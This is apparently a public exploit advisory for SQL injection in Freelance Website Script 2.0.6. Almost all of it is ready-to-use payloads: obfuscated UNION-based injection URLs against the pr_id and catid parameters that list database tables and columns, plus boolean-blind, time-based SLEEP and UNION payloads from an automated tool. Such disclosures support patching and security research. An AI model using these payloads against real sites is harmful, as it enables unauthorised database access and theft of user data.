Freelance Website Script 2.0.6 SQL Injection

`# # # # #   
# Exploit Title: Freelance Website Script 2.0.6 - SQL Injection  
# Dork: N/A  
# Date: 08.12.2017  
# Vendor Homepage: https://www.phpscriptsmall.com/  
# Software Link: https://www.phpscriptsmall.com/product/freelance-website-script/  
# Version: 2.0.6  
# Category: Webapps  
# Tested on: WiN7_x64/KaLiLinuX_x64  
# CVE: N/A  
# # # # #  
# Exploit Author: Ihsan Sencan  
# Author Web: http://ihsan.net  
# Author Social: @ihsansencan  
# # # # #  
# Description:  
# The vulnerability allows an attacker to inject sql commands....  
#   
# Proof of Concept:   
#   
# 1)  
# http://localhost/[PATH]/jobdetails.php?pr_id=[SQL]  
#   
# -1'++UNION(SELECT(1),(2),(3),(4),(5),(/*!08888Select*/+export_set(5,@:=0,(/*!08888select*/+count(*)/*!08888from*/(information_schema.columns)where@:=export_set(5,export_set(5,@,/*!08888table_name*/,0x3c6c693e,2),/*!08888column_name*/,0xa3a,2)),@,2)),(7),(8),(9),(10),(11),(12),(13),(14),(15),(16),(17),(18),(19),(20),(21),(22),(23),(24),(25),(26),(27),(28),(29),(30),(31),(32),(33),(34),(35),(36),(37),(38),(39),(40),(41),(42),(43),(44),(45),(46),(47),(48),(49),(50),(51),(52),(53),(54),(55),(56),(57),(58),(59),(60),(61),(62),(63),(64),(65),(66),(67),(68),(69),(70),(71),(72),(73),(74),(75),(76),(77),(78),(79),(80),(81),(82),(83),(84),(85),(86),(87),(88),(89),(90),(91),(92),(93),(94),(95),(96),(97),(98),(99),(100))--+-  
#   
# http://server/jobdetails.php?pr_id=-1'++UNION(SELECT(1),(2),(3),(4),(5),(/*!08888Select*/+export_set(5,@:=0,(/*!08888select*/+count(*)/*!08888from*/(information_schema.columns)where@:=export_set(5,export_set(5,@,/*!08888table_name*/,0x3c6c693e,2),/*!08888column_name*/,0xa3a,2)),@,2)),(7),(8),(9),(10),(11),(12),(13),(14),(15),(16),(17),(18),(19),(20),(21),(22),(23),(24),(25),(26),(27),(28),(29),(30),(31),(32),(33),(34),(35),(36),(37),(38),(39),(40),(41),(42),(43),(44),(45),(46),(47),(48),(49),(50),(51),(52),(53),(54),(55),(56),(57),(58),(59),(60),(61),(62),(63),(64),(65),(66),(67),(68),(69),(70),(71),(72),(73),(74),(75),(76),(77),(78),(79),(80),(81),(82),(83),(84),(85),(86),(87),(88),(89),(90),(91),(92),(93),(94),(95),(96),(97),(98),(99),(100))--+-  
#   
#   
# Parameter: pr_id (GET)  
# Type: boolean-based blind  
# Title: AND boolean-based blind - WHERE or HAVING clause  
# Payload: pr_id=51' AND 7083=7083 AND 'cZLs'='cZLs  
#   
# Type: AND/OR time-based blind  
# Title: MySQL >= 5.0.12 AND time-based blind  
# Payload: pr_id=51' AND SLEEP(5) AND 'UHvA'='UHvA  
#   
# Type: UNION query  
# Title: Generic UNION query (NULL) - 83 columns  
# Payload: pr_id=51' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x7162707671,0x7755764a6b7a5561565652766766574a78435a486b457569645768756b456950765a706e4a6d7445,0x7162766a71),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- GImX  
#   
#   
# 2)  
# http://localhost/[PATH]/searchbycat_list.php?catid=[SQL]  
#   
# -15++UNION(SELECT(1),(2),(3),(4),(5),(SELECT(@x)FROM(SELECT(@x:=0x00),(@NR:=0),(SELECT(0)FROM(INFORMATION_SCHEMA.TABLES)WHERE(TABLE_SCHEMA!=0x696e666f726d6174696f6e5f736368656d61)AND(0x00)IN(@x:=CONCAT(@x,LPAD(@NR:=@NR+1,4,0x30),0x3a20,table_name,0x3c62723e))))x),(7),(8),(9),(10),(11),(12),(13),(14),(15),(16),(17),(18),(19),(20),(21),(22),(23),(24),(25),(26),(27),(28),(29),(30),(31),(32),(33),(34),(35),(36),(37),(38),(39),(40),(41),(42),(43),(44),(45),(46),(47),(48),(49),(50),(51),(52),(53),(54),(55),(56),(57),(58),(59),(60),(61),(62),(63),(64),(65),(66),(67),(68),(69),(70),(71),(72),(73),(74),(75),(76),(77),(78),(79),(80),(81),(82),(83),(84),(85),(86),(87),(88))--+-  
#   
# http://server/searchbycat_list.php?catid=-15++UNION(SELECT(1),(2),(3),(4),(5),(SELECT(@x)FROM(SELECT(@x:=0x00),(@NR:=0),(SELECT(0)FROM(INFORMATION_SCHEMA.TABLES)WHERE(TABLE_SCHEMA!=0x696e666f726d6174696f6e5f736368656d61)AND(0x00)IN(@x:=CONCAT(@x,LPAD(@NR:=@NR+1,4,0x30),0x3a20,table_name,0x3c62723e))))x),(7),(8),(9),(10),(11),(12),(13),(14),(15),(16),(17),(18),(19),(20),(21),(22),(23),(24),(25),(26),(27),(28),(29),(30),(31),(32),(33),(34),(35),(36),(37),(38),(39),(40),(41),(42),(43),(44),(45),(46),(47),(48),(49),(50),(51),(52),(53),(54),(55),(56),(57),(58),(59),(60),(61),(62),(63),(64),(65),(66),(67),(68),(69),(70),(71),(72),(73),(74),(75),(76),(77),(78),(79),(80),(81),(82),(83),(84),(85),(86),(87),(88))--+-  
#   
# Parameter: catid (GET)  
# Type: AND/OR time-based blind  
# Title: MySQL >= 5.0.12 AND time-based blind  
# Payload: catid=15 AND SLEEP(5)-- nGws  
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